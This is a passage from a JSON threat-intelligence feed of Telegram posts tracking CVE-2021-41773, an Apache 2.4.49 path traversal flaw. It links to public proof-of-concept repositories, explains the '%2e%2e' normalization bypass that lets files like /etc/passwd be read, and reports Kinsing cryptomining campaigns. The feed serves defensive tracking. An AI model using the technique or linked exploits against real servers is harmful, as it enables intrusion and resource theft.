"0121815b-a969-47fd-80df-584880dc34b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/877", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aProof-of-Concept for CVE-2021-41773\nURL\uff1ahttps://github.com/ahmad4fifz/CVE-2021-41773", "creation_timestamp": "2021-11-25T05:21:22.000000Z"}, {"uuid": "04ebc763-a5b4-44f9-82c4-675c0c1626da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/47346", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aBash POC script for RCE vulnerability in Apache 2.4.49\nURL\uff1ahttps://github.com/mah4nzfr/CVE-2021-41773\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2025-08-11T13:01:35.000000Z"}, {"uuid": "a78ebc10-bb2d-4d32-9b9a-b670372d5924", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/18186", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aAutomatic thesauri backups from RCE PoolParty\nURL\uff1ahttps://github.com/Vanshuk-Bhagat/Apache-HTTP-Server-Vulnerabilities---CVE-2021-41773-and-CVE-2021-42013\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2025-03-11T07:58:21.000000Z"}, {"uuid": "977e73d7-5eab-48d2-9dbd-5c311bff7c1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/18189", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aAutomatic thesauri backups from RCE PoolParty\nURL\uff1ahttps://github.com/Vanshuk-Bhagat/Apache-HTTP-Server-Vulnerabilities-CVE-2021-41773-and-CVE-2021-42013\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2025-03-11T08:02:50.000000Z"}, {"uuid": "d9976f2d-843f-43de-a06c-c073c2a6262d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/tech_b0lt_Genona/2829", "content": "CVE-2021-41773: Apache 2.4.49 Path Traversal\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u0439\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0432\u0435\u0431\u0441\u0430\u0439\u0442\u0430 \u0438 \u0431\u0435\u0437 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441\u0447\u0438\u0442\u0430\u0442\u044c, \u043d\u0443 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, /etc/passwd\n\n\u041a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0432\u0435\u043b \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0440\u0435\u0444\u0430\u043a\u0442\u043e\u0440\u0438\u043d\u0433 - \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 2.4.49 \u0440\u0435\u0448\u0438\u043b\u0438 \u0443\u043d\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u044b\u043d\u044e \u0441 \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u043f\u0443\u0442\u0438, \u0438 \u0432\u044b\u043d\u0435\u0441\u043b\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e ap_normalize_path. \n\n\u0412 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0430 '.' \u0432 \u043f\u0443\u0442\u0438 \u0438 \u0437\u0430\u043a\u0440\u0430\u043b\u0441\u044f \u0431\u0430\u0433 \u0432 571 \u0441\u0442\u0440\u043e\u043a\u0435 - \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442 \u043d\u0435 \u0443\u0447\u0435\u043b, \u0447\u0442\u043e \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0435\u0449\u0435 \u043d\u0435 \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0435\u043b url decode. \n\n\u0412 \u0438\u0442\u043e\u0433\u0435 \u0432\u043e\u0437\u043d\u0438\u043a\u043b\u0430 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f, \u043a\u043e\u0433\u0434\u0430 \u0432\u0441\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043e\u0431\u0445\u043e\u0434 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0447\u0435\u0440\u0435\u0437 %2e%2e \u043f\u043e\u043f\u0430\u043b\u0438 \u0432 \u0443\u0441\u043b\u043e\u0432\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043d\u0435 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b\u043e\u0441\u044c, \u0438 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u043e \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0443\u0442\u0438 ap_normalize_path, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438 \u0434\u043e\u043b\u0436\u043d\u0430 \u0441\u0440\u0435\u0437\u0430\u0442\u044c \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438 \u0432\u0440\u043e\u0434\u0435 ../, \u0441\u0442\u0430\u043b\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u043d\u0435\u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0443\u0442\u044c.", "creation_timestamp": "2021-10-05T21:21:39.000000Z"}, {"uuid": "9f798f37-39be-4a1f-a522-810902be8a32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/WJizVeVzTrNn9rQzefZR4NZwKXLe6pIHJJmdQfVN3UctWtw", "content": "", "creation_timestamp": "2025-09-14T21:00:05.000000Z"}, {"uuid": "039dc061-7a71-4644-9355-492d86d0aec2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/toolslounge/631", "content": "apache srever exploit \nCVE-2021-41773\nhttps://github.com/rapid7/metasploit-framework/pull/15754", "creation_timestamp": "2021-10-08T06:46:03.000000Z"}, {"uuid": "96663e3d-ee10-4291-a12e-22e3af8f7cc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/yHnfFcJmN27W7yNIp17KFc8vMEeaxm03MHjNIxWNerQLDCY", "content": "", "creation_timestamp": "2025-09-06T03:00:05.000000Z"}, {"uuid": "9c55eb97-eb38-4193-be2e-e3d0928b2dbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/true_secator/7335", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 F6 \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u043c \u043d\u0430\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u0438 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u044b Kinsing (H2Miner \u0438\u00a0Resourceful Wolf) \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u0437\u0430 \u0440\u0443\u0431\u0435\u0436\u043e\u043c \u0441 2019 \u0433\u043e\u0434\u0430, \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0441\u0432\u043e\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u043e\u0442\u00a0\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f Kinsing, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043e\u043d\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0432\u00a0\u0441\u0432\u043e\u0438\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041e\u043d\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0440\u0438\u043f\u0442\u043e\u0434\u0436\u0435\u043a\u0438\u043d\u0433\u0435 - \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0438 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c\u0438 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u0434\u043b\u044f \u043c\u0430\u0439\u043d\u0438\u043d\u0433\u0430 \u043a\u0440\u0438\u043f\u0442\u044b, \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e Monero (XMR), \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u0438 \u043f\u0440\u043e\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u0438 \u0431\u043e\u0442\u043d\u0435\u0442\u043e\u0432.\n\n\u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0430\u0442\u0430\u043a \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432 \u0421\u0435\u0432\u0435\u0440\u043d\u043e\u0439 \u0410\u043c\u0435\u0440\u0438\u043a\u0435, \u0417\u0430\u043f\u0430\u0434\u043d\u043e\u0439 \u0415\u0432\u0440\u043e\u043f\u0435 \u0438 \u0410\u0437\u0438\u0438. \n\n\u0412 2024 \u0433\u043e\u0434\u0443 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u0438 \u043e\u0431 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u0430\u0442\u0430\u043a Kinsing, \u043d\u0435 \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0430\u044f \u0446\u0435\u043b\u044c \u0430\u0442\u0430\u043a\u0438 \u0438 \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0430 \u0432 2025 \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043d\u0430\u0447\u0430\u043b\u0438 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043f\u043e RU.\n\n\u0412\u0435\u0441\u043d\u043e\u0439 \u043e\u0434\u0438\u043d \u0438\u0437 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 F6 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b \u043f\u043e\u043f\u044b\u0442\u043a\u0443 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0441\u0432\u043e\u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 IoCs, \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u0438 \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u044b\u044f\u0432\u043b\u044f\u0435\u043c\u044b\u0445 TTPs \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0432\u044b\u0448\u043b\u0438 \u043d\u0430 \u0441\u043b\u0435\u0434 Kinsing.\n\n\u0413\u043b\u0430\u0432\u043d\u0430\u044f \u0446\u0435\u043b\u044c Kinsing - \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u041f\u041e \u0434\u043b\u044f \u043c\u0430\u0439\u043d\u0438\u043d\u0433\u0430 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442.\n\n\u0412 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u00a0\u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043e\u043a,\u00a0Kinsing\u00a0\u043d\u0435 \u043f\u0440\u0438\u0431\u0435\u0433\u0430\u0435\u0442 \u043a\u00a0\u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u043c \u0430\u0442\u0430\u043a\u0430\u043c, \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u044e\u0442 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u0432\u044b\u044f\u0432\u043b\u044f\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438: CVE-2017-9841, CVE-2019-17564, CVE-2019-19781, CVE-2020-10684, CVE-2020-17519, CVE-2020-5902, CVE-2020-9480, CVE-2021-26084, CVE-2021-41773, CVE-2021-44228, CVE-2022-24706, CVE-2022-26134, CVE-2023-35042.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0436\u0435\u0440\u0442\u0432\u044b \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0449\u0435\u0442 \u043c\u0430\u0439\u043d\u0435\u0440\u044b \u043a\u043e\u043d\u043a\u0443\u0440\u0435\u043d\u0442\u043e\u0432, \u0443\u0434\u0430\u043b\u044f\u0435\u0442 \u0438\u0445 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439.\n\n\u0410\u0442\u0430\u043a\u0438 Kinsing \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u044b \u043d\u0430\u00a0\u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0435 Linux-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0432\u00a0\u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0438\u00a0\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u044b\u0445 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u0445\n\n\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u00a0\u043e\u0448\u0438\u0431\u043a\u0438 \u0432\u00a0\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0435 \u0432\u00a0\u0442\u0430\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445, \u043a\u0430\u043a Docker, Kubernetes, Redis \u0438\u00a0PostgreSQL, \u0430\u00a0\u0442\u0430\u043a\u0436\u0435 \u0432\u00a0\u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u0445 - Apache Log4j, Tomcat, NiFi, Confluence, Citrix, WebLogic \u0438\u00a0\u0434\u0440\u0443\u0433\u0438\u0445.\n\n\u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u0446\u0435\u043b\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440,\u00a0lh.sh\u00a0\u0434\u043b\u044f\u00a0Log4Shell), \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043c\u0430\u0439\u043d\u0435\u0440\u044b \u0438\u00a0\u0441\u0430\u043c \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a Kinsing.\n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f - \u0437\u0430\u043c\u0435\u0434\u043b\u0435\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u044b, \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0438 \u0443\u0441\u043a\u043e\u0440\u0435\u043d\u043d\u044b\u0439 \u0438\u0437\u043d\u043e\u0441 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f (\u043e\u0442\u00a0\u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u00a0\u043f\u0440\u0438\u043c\u0435\u043d\u0451\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0434\u043e \u0438\u0442\u043e\u0433\u043e\u0432\u043e\u0439 \u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u0438 \u0430\u0442\u0430\u043a\u0438 \u0438\u00a0\u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439) \u0438 IOCs - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2025-08-15T16:40:05.000000Z"}, {"uuid": "0092a614-7e00-446d-bf40-96312e5d1251", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/GZAW9SXP-WxLbavO6fpxPN5-yoYPWAScFI3HyResH1fq2DU", "content": "", "creation_timestamp": "2025-08-11T21:00:59.000000Z"}, {"uuid": "53a47f74-f97a-4b17-af0d-bd6178602b60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://t.me/hackyourmom/12083", "content": "\ud83d\udcbb \u041d\u043e\u0432\u0430 \u0445\u0432\u0438\u043b\u044f \u0430\u0442\u0430\u043a \u0431\u02bc\u0454 \u043e\u0434\u043d\u043e\u0447\u0430\u0441\u043d\u043e \u043f\u043e Apache \u0456 Microsoft Exchange \u0445\u0430\u043a\u0435\u0440\u0438 \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u044e\u0442\u044c CVE-2021-41773 \u0449\u043e\u0431 \u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043c\u0430\u0439\u043d\u0435\u0440 Linuxsys \u0447\u0435\u0440\u0435\u0437 \u043b\u0435\u0433\u0456\u0442\u0438\u043c\u043d\u0456 \u0441\u0430\u0439\u0442\u0438 \u0437 SSL-\u0437\u0430\u0445\u0438\u0441\u0442\u043e\u043c \u043f\u043e\u0442\u0456\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u0438 \u044f\u043a\u0456 \u0432\u0438\u043c\u0438\u043a\u0430\u044e\u0442\u044c \u0430\u043d\u0442\u0438\u0432\u0456\u0440\u0443\u0441\u0438 \u0441\u0435\u0440\u0432\u0456\u0441\u0438 \u0439 \u0437\u0430\u043a\u0438\u0434\u0430\u044e\u0442\u044c XMRig \u0442\u0430 Kinsing  \ud83d\udc7e \u0411\u0456\u043b\u044c\u0448\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u0438\u0446\u044c \ud83d\udc48 #cybernews", "creation_timestamp": "2025-07-18T12:16:02.000000Z"}, {"uuid": "015ced08-a570-491d-a476-17c9c6799ff3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://t.me/thehackernews/7176", "content": "\ud83d\udea8 Hackers are hiding crypto miners in legit websites using an old Apache flaw (CVE-2021-41773).\n\nThey\u2019re mining silently. Detection is hard. Victims see HTTPS + valid SSL.\n\nIt\u2019s a stealthy, years-long campaign.\n\nHere\u2019s how it works \u2014 and why it matters:  https://thehackernews.com/2025/07/hackers-exploit-apache-http-server-flaw.html", "creation_timestamp": "2025-07-17T14:23:29.000000Z"}, {"uuid": "4628f6f2-bde5-423c-9850-7ede1e61a160", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "Telegram/ns4AhRu3Dgvy_3RdCSiQNSyLk4Tnbw24uzV7lxSYmTv6iA", "content": "", "creation_timestamp": "2025-07-17T15:03:37.000000Z"}, {"uuid": "a32f136d-c03e-4730-8ac3-054d7519f176", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/ptswarm/79", "content": "We have reproduced the fresh CVE-2021-41773 Path Traversal vulnerability in Apache 2.4.49.\n\nIf files outside of the document root are not protected by \"require all denied\" these requests can succeed.\n\nPatch ASAP!\n\nhttps://httpd.apache.org/security/vulnerabilities_24.html", "creation_timestamp": "2021-10-05T15:14:23.000000Z"}, {"uuid": "d80a6ec9-3b88-47a2-9cbc-6d007fb0e2e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/89ftCfVT4ANXOHkYPkg4f1crlBnUuWLjMtwENkNHyTME0zA", "content": "", "creation_timestamp": "2025-07-01T15:00:05.000000Z"}, {"uuid": "617cde9c-a02f-4f26-bae4-101222641e1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/-rzZsG5EjPRwBqHwvxMMz7d452G2kJrxsFvsAodc6TOJ-g", "content": "", "creation_timestamp": "2021-10-13T05:47:28.000000Z"}, {"uuid": "0c8fd2d5-bdf5-4741-bdcb-4ff174a65167", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/ctinow/42637", "content": "Internet Bug Bounty: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) (CVE-2021-42013)\n\nhttps://ift.tt/3FoNlyG", "creation_timestamp": 